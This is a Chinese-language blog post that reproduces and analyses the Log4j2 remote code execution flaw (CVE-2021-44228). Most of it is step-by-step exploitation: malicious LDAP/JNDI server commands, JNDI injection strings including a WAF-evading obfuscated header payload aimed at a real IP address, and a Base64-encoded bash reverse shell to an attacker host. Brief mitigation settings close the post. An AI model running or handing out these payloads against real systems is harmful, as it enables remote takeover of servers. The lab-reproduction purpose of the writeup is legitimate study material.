log4j2RCE(CVE-2021-44228)漏洞利用与分析
漏洞描述:
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
影响范围:
Apache Log4j 2.x < 2.15.0-rc2
漏洞复现
本地复现
编写本地exp
类
1 | import com.sun.org.apache.xpath.internal.objects.XString; |
本地编译为class
文件
1 | javac exp.java |
使用marshalsec
本地启用恶意监听服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.81:8000/#exp" 7788 |
使用Python3
在恶意类文件路径下启动一个简易http
服务
1 | python3 -m http.server |
插入恶意payload
执行,触发命令执行
1 | ${jndi:ldap://192.168.1.81:7788/exp} |
线上靶机复现-shell反弹
使用JNDI
启动恶意服务
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i "x.x.x.x" -p 6666 |
构造攻击payload:
1 | payload=${jndi:ldap://x.x.x.x:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMzkuMTk2LjIzNC4xNjQvNTU1NSAwPiYx} |
注:后面command需要经过一次base64编码,两次URL编码处理
1 | command: bash -i >& /dev/tcp/x.x.x.x/5555 0>&1 |
线上靶机复现-回显输出
使用vulfocus
上的靶机测试
用Log4j2 jndi injection fuzz tool
对主机进行模糊测试,找到传参点在header
头
使用JNDI
启动恶意服务
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i "x.x.x.x" -p 6666 |
抓包修改header
为攻击payload
1 | X-Api-Version: ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//139.196.234.164:1389/TomcatBypass/TomcatEcho} |
修复方案
截止到目前,网上的修复方法大致是这些:
补丁链接: log4j-2.15.0-rc2
1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。
log4j2RCE(CVE-2021-44228)漏洞利用与分析
http://www.greetdawn.top/2021/12/11/安全研究/log4j2RCE-CVE-2021-44228/